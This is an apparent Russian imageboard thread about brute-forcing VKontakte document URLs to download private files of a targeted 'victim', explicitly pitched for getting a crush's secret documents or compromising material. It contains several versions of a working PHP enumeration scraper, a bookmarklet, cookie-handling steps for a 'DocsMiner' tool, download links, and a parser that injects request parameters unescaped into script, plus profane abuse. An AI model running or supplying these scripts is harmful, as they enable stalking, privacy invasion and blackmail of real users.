А теперь представим, что XXXXXXXXX - idXXXXXXXXX жертвы YYYYYYYYY - номер документа жертвы Это значит, что набирая >вк.ком/docXXXXXXXXX_YYYYYYYY1 >вк.ком/docXXXXXXXXX_YYYYYYYY2 >вк.ком/docXXXXXXXXX_YYYYYYYY3 >вк.ком/docXXXXXXXXX_YYYYYYYY4 >... >вк.ком/docXXXXXXXXX_YYY9999999 ты сможешь получить все документы пользователя. В большинстве случаев ты увидишь первый пик. В остальных случаях получишь фотографии или файлы.
На странице под концом поиска доков есть кнопка "Показать ещё", но она почему-то по умолчанию скрыта. Надо через "Исследовать элемент" убрать у неё атрибут style = "display: none;" и дальше просто на неё нажимать. То есть : 1. Создать закладку (на панели браузера) 2. В поле ввода урла вставляем javascript:(function()%7Ba%3Ddocument.getElementById(%22docs_search_more%22).style%3B%20a.display%3D%22block%22%3B%20a.visibility%3D%22visible%22%7D)() 3. Когда вводим поиск на вк-докс, нажимаем кнопку и у нас теперь СКРОЛИТТТЦА!1 - У кого вытекают глаза смотреть на маленькие картинки при поиске, накидал жутко не оптимизированный скрипт для увеличения пиков. Нажмите F12 перейдите во вкладку консоль и вставьте данный Гкод var itemThumbs = document.getElementsByClassName('docs_item_thumb_img'), doscItemThumbs = document.getElementsByClassName('docs_item_thumb');
>>169539275 (OP) >Существует несколько программ и скриптов для автоматического подбора Хуйня полная. Никто не будет этим заниматься кроме задротов-программистов
На удивление, гифка этой тян совпадает со страницей, а не как обычно мужицкие. По тату на других фото со страницы, таки она. Что написать ей ? ИЗВИНИТЕ, НЕ ВАША ЖЕПА ?
1. ПИК Для начала проверяем, нужно ли нам копировать свои куки в программу или нет. Если документ скачался и так, то все нормально.
2. ПИК Самое важное. Пишем номер жертвы. Программа бегает по номерам. Если ей показывает четвертый пик, тогда она показывает DEL XXXX_YYYY. Если попадается файл, показывает IMG XXXX_YYYY. В этом случае она сохраняет этот файл в папку Docs.
3. ПИК Тут нужны обязательно ваши куки. Потому что вк не разрешает искать документы тем, кто не авторизован. Сначала пишем ключевое слово. Потом пишем СВОЙ ID вк. Она начинает искать документы из поиска и закидывает их в папку Docs.
Подробнее где брать куки-файл написано в ридми-файле внутри того архива, что вам скидывал анон с доксмайнером.
Ошибка ArrayOfBound происходит в двух случаях. 1. Вы неправильно отредактировали бат-файлы. 2. Неправильно сохранили куки-файл. Файл должен быть в формате Netscape, а не JSON!
Нужен список документов конкретного человека, поэтому после того как в ссылке вставил id дальше Y заполнять нулями, типа 000000001 или в YYYYYYYY1 тоже пойдет? Я тупой и первый раз пробую.
Так, поцаны, немного не понял. Вот я ввожу чей-нибудь id в DocsMinerID, вроде что-то ищет, но не скачивает. Что за хуйня? Или надо два процесса подряд запустить со своим id и id нужного челика?
>>169542791 Ты руками что ли собрался перебор делать? Там разница между документами одного человека может быть пару миллионов ссылок, в лучшем случае. Читай фак там все есть
>>169541106 >3. ПИК >Тут нужны обязательно ваши куки. Потому что вк не разрешает искать документы тем, кто не авторизован. Сначала пишем ключевое слово. Потом пишем СВОЙ ID вк. Она начинает искать документы из поиска и закидывает их в папку Docs. Так, погоди, это я сам у себя буду брать пички или что?
>>169543776 В чем проблема запустить на левом браузере? Я затестил в браузере, где только фейк залогиненный в вк и все. Да и толку от кукисов будет, там же сейчас хранится только информация по сессиям, логин и куча мусора. Пароли по-другому хранятся
>>169544102 Нихуя не понял. Вкидываю в майнерid айди, все файлы del. В тестовом вкидывал доки из гайда, тоже del. Ошибок явы/массива нет, куки для вк скопировал из расширения и вставил в тхт.
Написал скрипт для этого дела, кто хочет, может попробовать, но предварительно нужно установить OpenServer, т.к скрипт написан на PHP. Манул по установке можно найти в инете или вот для примера линк https://www.youtube.com/watch?v=HVWA6rWXG8s.
После установки и запуска OpenServer'a нужно скачать скрипт http://rgho.st/8Y8LWpXMc и распаковать папку "vk-doc-parser" в С:\OpenServer\domains\ перезапустить OpenServer, делается это так, находите в трее иконку openServera(в виде флажка) нажимаете ПКМ и выбераете "перезагрузить". После перезапуска сервера снова нажимаете ПКМ на иконке OpenServer'a выбираете "дополнительно->консоль" затем вводите команду cd domains\vk-doc-parser и запускаете скрипт командой php index.php далее в консоли выйдет сообщение "Pleace, enter User ID:" после этого вводите ИД пользователя и нажимаете Enter (ИД нужно вводить, вот так 362509508, а не так id362509508). После выйдет сообщение "Please enter a Doc ID to read from this point, or press "Enter" if you want to start from scratch:" сюда нужно вводить ИД дока для чтения с этой точки, проще говоря если вы введете 5000, то документы будут искаться начиная с 5000 до 999999999, а если нет, то 0 до 999999999. Если вы хотите проверить все ВОЗМОЖНЫЕ документы пользователя просто нажимаете Enter и пропускаете данный шаг. После нажатия Enter скрипт начнет свою работу, и будет выводить сообщения в консоли, такие как:
Loading doc ID 0... - Загрузка документа с 0 ИД; Found doc with ID 0 - Значит, что найден документ с 0 ИД; Document with ID 0 not found - Значит, что не был найден документ с 0 ИД;
Комбинаций перебора овер до ху.., а именно 999999999, и сколько времени это займет ХЗ, плюс еще задержка в несколько секунд после каждой итерации, дабы ВК не выплюнул капчу. Если вас это дело переутомит нажимаете Ctrl + C и скрипт тормозит свою работу. Все Документы которые удалось найти будут лежать в С:\OpenServer\domains\docs.
Данные действия на Ваш страх и риск, кто умеет лучше обложитесь проксей. Скрипт ни какие ваши данные не ворует, можете глянуть код он очень прост.
<?phpini_set('display_errors','Off');// Запрос ID пользователяprint 'Pleace, enter User ID:';$userId=fgets(STDIN, 255);// Запрос ID дока для чтения с этой точкиprint 'Please enter a Doc ID to read from this point, or press "Enter" if you want to start from scratch:';$docId=fgets(STDIN, 255);getUserDocs ($userId, $docId);function getUserDocs ($userId, $docId){$userId=trim($userId);$docId=trim($docId);// Если не задан ИД дока для чтения с этой точкиif ( ! $docId){$docId=0;}// Запрос ID если данные не были введеныif (empty($userId)){exit('Error: You have not entered a user ID');}// Создание дректории для доковmkdir('./docs', 0777, true);for ($docId=$docId; $docId < 999999999; $docId++){print 'Loading doc ID ' . $docId . "...\n" ;// Задержка скрипта, во избежаение банаsleep(rand(2, 7));// Формирование url для запроса$url='https://vk.com/doc'.$userId.'_'.$docId;// Загрузка документа$content=file_get_contents($url, true);// Проверка суще-ет ли документ для текущего ИДif (strpos($content, 'docs_panel_wrap')){print 'Found doc with ID ' . $docId . "\n";$file=fopen('./docs/' . $docId . '.html', 'w');fwrite($file, $content);}else{print 'Document with ID ' . $docId . ' not found' . "\n";}}}
<?php ini_set('display_errors','Off'); // Запрос ID пользователя print 'Pleace, enter User ID:'; $userId = fgets(STDIN, 255); // Запрос ID дока для чтения с этой точки print 'Please enter a Doc ID to read from this point, or press "Enter" if you want to start from scratch:'; $docId = fgets(STDIN, 255); getUserDocs ($userId, $docId); function getUserDocs ($userId, $docId) { $userId = trim($userId); $docId = trim($docId); // Если не задан ИД дока для чтения с этой точки if ( ! $docId) { $docId = 0; } // Запрос ID если данные не были введены if (empty($userId)) { exit('Error: You have not entered a user ID'); } // Создание дректории для доков mkdir('./docs', 0777, true); for ($docId = $docId; $docId < 999999999; $docId++) { print 'Loading doc ID ' . $docId . "...\n" ; // Задержка скрипта, во избежаение бана sleep(rand(2, 7)); // Формирование url для запроса $url = 'https://vk.com/doc'.$userId.'_'.$docId; // Загрузка документа $content = file_get_contents($url, true); // Проверка суще-ет ли документ для текущего ИД if (strpos($content, 'docs_panel_wrap')) { print 'Found doc with ID ' . $docId . "\n"; $file = fopen('./docs/' . $docId . '.html', 'w'); fwrite($file, $content); } else { print 'Document with ID ' . $docId . ' not found' . "\n"; } } }
Если использовать метод docs.getById, то нельзя делать запросы чаще секунды, иначе идет ошибка. Реализовал вчерашние идеи, сейчас подумаю, чего еще добавить. Завтра вкину, если это кому-нибудь нужно, еще предстоит потестить. Стоит напомнить, аноны, что погромист из меня никакущий, золотых гор не обещаю. Сейчас буду прикручивать к бд, чтобы случайный перебор точно не повторялся. Также жду еще идей. Работает оно, к слову, на apache+php+mysql.
<?php ini_set('display_errors','Off'); // Запрос ID пользователя print 'Pleace, enter User ID:'; $userId = fgets(STDIN, 255); // Запрос ID дока для чтения с этой точки print 'Please enter a Doc ID to read from this point, or press "Enter" if you want to start from scratch:'; $docId = fgets(STDIN, 255); getUserDocs ($userId, $docId); function getUserDocs ($userId, $docId) { $userId = trim($userId); $docId = trim($docId); // Если не задан ИД дока для чтения с этой точки if ( ! $docId) { $docId = 0; } // Запрос ID если данные не были введены if (empty($userId)) { exit('Error: You have not entered a user ID'); } // Создание дректории для доков mkdir('./docs', 0777, true); for ($docId = $docId; $docId < 999999999; $docId++) { print 'Loading doc ID ' . $docId . "...\n" ; // Задержка скрипта, во избежаение бана sleep(rand(2, 7)); // Формирование url для запроса $url = 'https://vk.com/doc'.$userId.'_'.$docId; // Загрузка документа $content = file_get_contents($url, true); // Проверка суще-ет ли документ для текущего ИД if (strpos($content, 'docs_panel_wrap')) { print 'Found doc with ID ' . $docId . "\n"; $file = fopen('./docs/' . $docId . '.html', 'w'); fwrite($file, $content); } else { print 'Document with ID ' . $docId . ' not found' . "\n"; } } }
Сначала скачиваем и устанавливаем денвер с официального сайта (кстати, денвер будет работать если его просто переписать на комп, сохранив все папки и подпапки). Берём файл(ы) php и просто переписываем их в папку: c:\WebServers\home\test\www\. (По-умолчанию, уже есть test, а мы создаём свою папку 111 — рядом с test и полный путь будет такой: c:\WebServers\home\111\www\ не забываем внутри 111 создать www и уже в www — ваш файл php и никак иначе!) Запускаем денвер иконой run (будет написано добавлен хост 111 в чёрном окошке DOS) Если иконок нет, то найти их можно тут: c:\WebServers\denwer\utils\ В браузере набираем: http://111/ВАШ_ФАЙЛ.php — ура, всё работает. (Если записали файл в test\www — то адрес такой: http://test/ВАШ.php) Для закрепления инфы в вашей голове, потренируемся: на компе: c:\WebServers\home\myfucking\www\programma.php в браузере будет выглядеть так: http://myfucking/programma.php Если, нужна База Данных MySQL, то путь к ней такой из браузера phpmyadmin: http://localhost/Tools/phpmyadmin/ логин=root, пароль=пусто Если нужны настройки MySQL my.cnf c:\WebServers\usr\local\mysql-5.1\ Если нужны дополнительные «тонкие настройки» php.ini они тут: c:\WebServers\usr\local\php5\ Настройки Apache тут: c:\WebServers\usr\local\apache\conf\ Почта, отправляется в папку /sendmail ввиде *.msg файлов (для тех, кто хочет узнать ходит иди не ходит почта, для отправки во вне — есть опция в настройках)
<!DOCTYPE html> <html> <body><div id="logic_body"></div></body> <script> var doc = <?php echo $_GET['doc']; ?>; var end = <?php echo $_GET['end']; ?>; var id = <?php echo $_GET['id']; ?>; var lb = document.getElementById("logic_body"); function load_doc(doc,id) { var file = "parser.php?id="+id+"&doc="+doc; var allText; var rawFile = new XMLHttpRequest(); rawFile.open("GET", file, false);
rawFile.onreadystatechange = function () { if (rawFile.readyState === 4) { if (rawFile.status === 200 || rawFile.status == 0) { allText = rawFile.responseText; } } } rawFile.send(null); return allText; } function ink() { doc++; lb.innerHTML = lb.innerHTML + load_doc(doc,id) + "<br>"; if (doc>=end) clearInterval(loader); } var loader = setInterval(ink, 100); </script> </html>
parser.php: <?php //ini_set('display_errors','Off'); // Запрос ID пользователя
$userId = $_GET['id']; // Запрос ID дока для чтения с этой точки
$docId = $_GET['doc']; $endId = $_GET['end']; getUserDocs ($userId, $docId, $endId); function getUserDocs ($userId, $docId, $endId) { $userId = trim($userId); $docId = trim($docId); // Если не задан ИД дока для чтения с этой точки if ( ! $docId) { $docId = 0; } // Запрос ID если данные не были введены if (empty($userId)) { exit('Нет номера юзера'); } if (!$endId) { $endId=999999999; } // Создание дректории для доков if (!file_exists('./docs')) mkdir('./docs', 0777, true);
>>169549824 Шизик, залей это в приемлемом виде на какой-нибудь хостинг. Не позорься. Ну ладно, в гит не умеешь, ладно, php так php, заставляешь держать ебанину весом в 3 ГБ. Ну зарелизить-то ты хотя бы можешь по-человечески, макак?
>>169550068 Элементарное уважение к профессии. Как обновлять, как баги править? Впрочем, я думал, ты сейчас сюда ещё экрана три выльешь. Да и настроение у меня чего-то хуёвое.Не обижайся, это я любя
>>169550252 А какой мне смысл этим заниматься? Никто даже спасибо за это не скажет. Гит не проблема запилить. Даже не проблема деньги отдать на хостинг, только для меня это пустая трата времени и сил. Лучше я на дядю поработаю, он хоть деньги платит, а от этих нищебродов и копейки не дождешься в виде доната.
А если это делать во вкладке док ? Вот инструкция для аутов, вставлять текст скрипта(незбываем что ЯАВА: может не скопироваться, внимательное проверяем !!!) На вопрос таких как ты, который уже следует за этой темой по пятам это " А МОЖНА СВАЙЮ ТЬЯН, НУ КАК ТЬЯН ЭТА ТА ПО КАТОРАЙ Я ПИЗДАСТРАДАЮ ПРОЧЕКАТЬ" теоретически можно, читайте тему выше , там кидали ссыль на радиокота, но не факт что тебе хватит времени мой глупый Анон, по подсчетам некоторых Анонов времени это может занять от 7 часов до over 9000 лет.
>>169554017 Сейчас попробую ещё раз всё с нуля: залогиниться с оперы без кук, через EditThisCookie в формате Netscape экспортировать в буфер, вставить в cookies.txt в папке с DocsMinerS, сохранить, запустить DocsMinerSearch.cmd и потом через энтер ввести запрос и айди аккаунта. Вот попробовал щас и просто цифрами, и через idXXXXX. Не работает
>>169539275 (OP) Простите, я тупой Вот есть жертва, но вместо id у нее текст Что я вообще должен сделать руками, куда мне до скриптов, чтобы попытся найти файлы?
А майнеры точно работают так, как надо? Вдруг они воруют мои документы аниме картинки, которые я пересылал себе для сохр-ных или каждую секунду спамят введенному id "Я выиграл в анальном троебории "Золотой петушок""?
>>169539275 (OP) Как просканировать id конкретного человека, не устанавливая на компьютер никаких скриптов? Существует ли онлайн сервис для такой задачи?
>>169556718 Ну что, будем по-хуёвому, по-пиздёному отвечать в тред? Не понимаешь по русски? Уёбывай! Что пишешь, ёбёна мать, спрятал свой ебальник? Ёб вашу мать, сволочи поганые. Пиздуйте отсюда, сказано вам. А ты, пидор ехидный, не улыбайся. Каждое говно тут будет писать! Иди отсюдова! Вот эту поебень надо выгнать с борды. Каждая блять и каждый хер усядутся и пиздоплюются постами. Я щас как на этот пост отвечу, и ты куда вон перевернёшься. Вот и будешь кому совестно будет, а кому смешно. Ёб вашу мать сволочи поганые.
>>169556963 Нет. Он там, как я понял, рандомыный номер документа подставляет. Я всё на Кадырова хочу что-нибудь нарыть, а потом с важным видом инсайды на харкач скидывать, представляясь кем-нибудь.
>>169561027 Прицепи ссыль на пастбин к скрипту на is. Я может его обновлю сегодня. И Greasemonkey, оказывается отвалился, с ним не работает. Убери из пасты. Кстати, одинарными обратными кавычками можно выделить кусок кода внутри строки. Do it
Хуй знает, смущает только одно. ВК и документы вк существуют уже очень давно, а до сих пор как их спиздить у конкретного человека нормального способа нет. Кароч я не настолько ебнут на своей еот, чтобы на это время тратить.
>>169561385 >Прицепи ссыль на пастбин к скрипту на is. Я может его обновлю сегодня. Хорошо. К перекату прицеплю. >>169561385 >Кстати, одинарными обратными кавычками можно выделить кусок кода внутри строки. Do it Ой, ну его в задницу. Самый ебнутый парсер.
Хочешь увидеть секретные документы своей еот?
Хочешь нарыть компромат на конкретного человека?
Тогда этот тред для тебя!
Все что нужно, знать ид вк нашей жертвы.
А теперь представим, что
XXXXXXXXX - idXXXXXXXXX жертвы
YYYYYYYYY - номер документа жертвы
Это значит, что набирая
>вк.ком/docXXXXXXXXX_YYYYYYYY1
>вк.ком/docXXXXXXXXX_YYYYYYYY2
>вк.ком/docXXXXXXXXX_YYYYYYYY3
>вк.ком/docXXXXXXXXX_YYYYYYYY4
>...
>вк.ком/docXXXXXXXXX_YYY9999999
ты сможешь получить все документы пользователя.
В большинстве случаев ты увидишь первый пик.
В остальных случаях получишь фотографии или файлы.
Существует несколько программ и скриптов для автоматического подбора:
https://pastebin.com/PiXtqKBC